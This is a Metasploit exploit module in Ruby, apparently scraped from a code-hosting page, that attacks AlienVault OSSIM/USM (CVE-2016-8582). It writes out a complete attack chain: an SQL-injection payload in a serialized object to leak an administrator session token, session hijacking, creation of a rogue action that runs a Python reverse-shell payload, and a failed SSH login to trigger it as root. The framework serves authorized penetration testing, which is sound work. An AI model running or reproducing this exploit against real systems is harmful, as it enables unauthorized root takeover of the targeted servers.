Path: blob/master/modules/exploits/linux/http/alienvault_exec.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::SSH1011def initialize(info = {})12super(13update_info(14info,15'Name' => "AlienVault OSSIM/USM Remote Code Execution",16'Description' => %q{17This module exploits object injection, authentication bypass and ip spoofing vulnerabilities all together.18Unauthenticated users can execute arbitrary commands under the context of the root user.1920By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability21which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue22action and policy that enables to execute operating system commands by using captured session token. As a final step,23SSH login attempt with an invalid credentials can trigger a created rogue policy which triggers an action that executes24operating system command with root user privileges.2526This module was tested against following product and versions:27AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.028AlienVault OSSIM 5.0.0, 4.6.129},30'License' => MSF_LICENSE,31'Author' => [32'Peter Lapp', # EDB advisory owner33'Mehmet Ince <[email protected]>' # Metasploit module34],35'References' => [36['CVE', '2016-8582'],37['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'],38['EDB', '40682']39],40'DefaultOptions' => {41'SSL' => true,42'WfsDelay' => 10,43'Payload' => 'python/meterpreter/reverse_tcp'44},45'Platform' => ['python'],46'Arch' => ARCH_PYTHON,47'Targets' => [48['Alienvault USM/OSSIM <= 5.3.0', {}]49],50'Privileged' => true,51'DisclosureDate' => '2017-01-31',52'DefaultTarget' => 0,53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)6061register_options(62[63Opt::RPORT(443),64OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])65]66)67end6869def check70r = rand_text_alpha(15)71p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}"7273res = send_request_cgi({74'method' => 'GET',75'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),76'headers' => {77'User-Agent' => 'AV Report Scheduler',78},79'vars_get' => {80'type' => 'alarm',81'wtype' => 'foo',82'asset' => 'ALL_ASSETS',83'height' => 1,84'value' => p85}86})8788if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/89Exploit::CheckCode::Vulnerable90else91Exploit::CheckCode::Safe92end93end9495def exploit96# Hijacking Administrator session by exploiting objection injection vuln that end up with sqli97print_status("Hijacking administrator session")9899sql = "SELECT id FROM sessions LIMIT 1"100p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}"101102res = send_request_cgi({103'method' => 'GET',104'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),105'headers' => {106'X-Forwarded-For' => rhost.to_s,107'User-Agent' => 'AV Report Scheduler',108},109'vars_get' => {110'type' => 'alarm',111'wtype' => 'foo',112'asset' => 'ALL_ASSETS',113'height' => 1,114'value' => p115}116})117if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/118admin_session = $1119cookie = "PHPSESSID=#{admin_session}"120print_good("Admin session token : #{cookie}")121else122fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again")123end124125# Creating a Action that contains payload.126print_status("Creating rogue action")127r = rand_text_alpha(15)128129res = send_request_cgi({130'method' => 'POST',131'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'),132'cookie' => cookie,133'headers' => {134'X-Forwarded-For' => rhost.to_s,135},136'vars_post' => {137'id' => '',138'action' => 'new',139'old_name' => '',140'action_name' => r,141'ctx' => '',142'old_descr' => '',143'descr' => r,144'action_type' => '2',145'only' => 'on',146'cond' => 'True',147'email_from' => '',148'email_to' => 'email;email;email',149'email_subject' => '',150'email_message' => '',151'transferred_user' => '',152'transferred_entity' => '',153'exec_command' => "python -c \"#{payload.encoded}\""154}155})156157if res && res.code == 200 && res.body.include?("Action successfully updated")158print_good("Action created: #{r}")159else160fail_with(Failure::Unknown, "Unable to create action")161end162163# Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint.164# Thus we're using hijacked administrator session.165print_status("Retrieving rogue action id")166167res = send_request_cgi({168'method' => 'GET',169'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),170'cookie' => cookie,171'headers' => {172'X-Forwarded-For' => rhost.to_s,173},174'vars_get' => {175'page' => '1',176'rp' => '2000'177}178})179180if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{r}<\/a>/181action_id = $1182print_good("Corresponding Action ID found: #{action_id}")183else184fail_with(Failure::Unknown, "Unable to retrieve action id")185end186187# Retrieving the policy data. We will use it while creating policy188print_status("Retrieving policy ctx and group values")189190res = send_request_cgi({191'method' => 'GET',192'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),193'cookie' => cookie,194'headers' => {195'X-Forwarded-For' => rhost.to_s,196},197'vars_get' => {198'm_opt' => 'configuration',199'sm_opt' => 'threat_intelligence',200'h_opt' => 'policy'201}202})203204if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/205policy_ctx = $1206policy_group = $2207print_good("CTX Value found: #{policy_ctx}")208print_good("GROUP Value found: #{policy_group}")209else210fail_with(Failure::Unknown, "Unable to retrieve policy data")211end212213# Creating policy that will be trigerred when SSH authentication failed due to wrong password.214print_status("Creating a policy that uses our rogue action")215policy = rand_text_alpha(15)216217res = send_request_cgi({218'method' => 'POST',219'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),220'cookie' => cookie,221'headers' => {222'X-Forwarded-For' => rhost.to_s,223},224'vars_post' => {225'descr' => policy,226'active' => '1',227'group' => policy_group,228'ctx' => policy_ctx,229'order' => '1',230'action' => 'new',231'sources[]' => '00000000000000000000000000000000',232'dests[]' => '00000000000000000000000000000000',233'portsrc[]' => '0',234'portdst[]' => '0',235'plug_type' => '1',236'plugins[0]' => 'on',237'taxfilters[]' => '25@2@0',238'tax_pt' => '0',239'tax_cat' => '0',240'tax_subc' => '0',241'mboxs[]' => '00000000000000000000000000000000',242'rep_act' => '0',243'rep_sev' => '1',244'rep_rel' => '1',245'rep_dir' => '0',246'ev_sev' => '1',247'ev_rel' => '1',248'tzone' => 'Europe/Istanbul',249'date_type' => '1',250'begin_hour' => '0',251'begin_minute' => '0',252'begin_day_week' => '1',253'begin_day_month' => '1',254'begin_month' => '1',255'end_hour' => '23',256'end_minute' => '59',257'end_day_week' => '7',258'end_day_month' => '31',259'end_month' => '12',260'actions[]' => action_id,261'sim' => '1',262'priority' => '1',263'qualify' => '1',264'correlate' => '0',265'cross_correlate' => '0',266'store' => '0'267}268})269270if res && res.code == 200271print_good("Policy created: #{policy}")272else273fail_with(Failure::Unknown, "Unable to create policy id")274end275276# We gotta reload all policies in order to make our rogue one enabled.277print_status("Activating the policy")278279res = send_request_cgi({280'method' => 'GET',281'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),282'cookie' => cookie,283'headers' => {284'X-Forwarded-For' => rhost.to_s,285},286'vars_get' => {287'what' => 'policies',288'back' => '../policy/policy.php'289}290})291292if res && res.code == 200293print_good("Rogue policy activated")294else295fail_with(Failure::Unknown, "#{peer} - Unable to enable rogue policy")296end297298# We will trigger the rogue policy by doing ssh auth attempt with invalid credential :-)299opts = ssh_client_defaults.merge({300auth_methods: ['password'],301port: 22,302password: rand_text_alpha(15)303})304305print_status("Triggering the policy by performing SSH login attempt")306307begin308Net::SSH.start(rhost, "root", opts)309rescue Net::SSH::AuthenticationFailed310print_good("SSH - Failed authentication. That means our policy and action will be trigged..!")311rescue Net::SSH::Exception => e312print_error("SSH Error: #{e.class} : #{e.message}")313return nil314end315end316end317318319